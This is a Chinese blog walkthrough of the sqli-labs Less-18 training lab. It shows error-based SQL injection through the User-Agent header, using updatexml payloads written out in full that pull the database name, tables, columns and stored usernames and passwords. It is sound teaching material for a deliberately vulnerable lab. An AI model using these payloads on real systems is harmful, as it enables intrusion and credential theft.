sqli-labs Less-18

本文详细介绍了在sqli-labs的Less-18挑战中,如何利用POST请求的User-Agent字段进行Header注入。通过观察错误回显,发现了注入点,并逐步揭示了数据库名、表名、字段名以及字段值,展示了利用updatexml和extractvalue函数进行SQL注入的方法。

LESS-18 POST - Header Injection -Uagent field - Error based

0x01.
随便测试几个查看有无回显

错误回显和正确回显都是显示IP地址

错误回显:
在这里插入图片描述
正确回显:
在这里插入图片描述
在正确的回显中可以看见user agent,猜测可以利用进行注入,可以查看源码进行分析。
在这里插入图片描述
用户名与密码的获取方式是post,而且采用了check_input处理,所以在这两个地方注入不行,往下看。

在这里插入图片描述

发现insert语句,将user-agent以及IP数据插入数据库,可以利用进行注入。 (注意要输入正确的用户名和密码才能绕过用户名密码判断,进入处理user-agent部分)

利用updatexml进行注入

0x02.爆数据库名

'and updatexml(1,concat(0x7e,(database())),0x7e),1)-- #
(注意这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#)在这里插入图片描述
0x03.爆表名

'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security’)),0x7e),1)-- #
在这里插入图片描述
0x04.爆字段名

'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security’ and table_name=‘users’)),0x7e),1)-- #
在这里插入图片描述
0x05.爆字段值

'and updatexml(1,concat(0x7e,(select * from(select concat_ws(0x7e,id,username,password)from users limit 0,1)a)),0),",")-- #
在这里插入图片描述改变limit的值获得其他用户名和密码
在这里插入图片描述
也可以用extractvalue()注入,还可以使用延时注入,子查询注入,但是不能用布尔盲注,因为无论错误还是正确都只会返回同样的页面。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值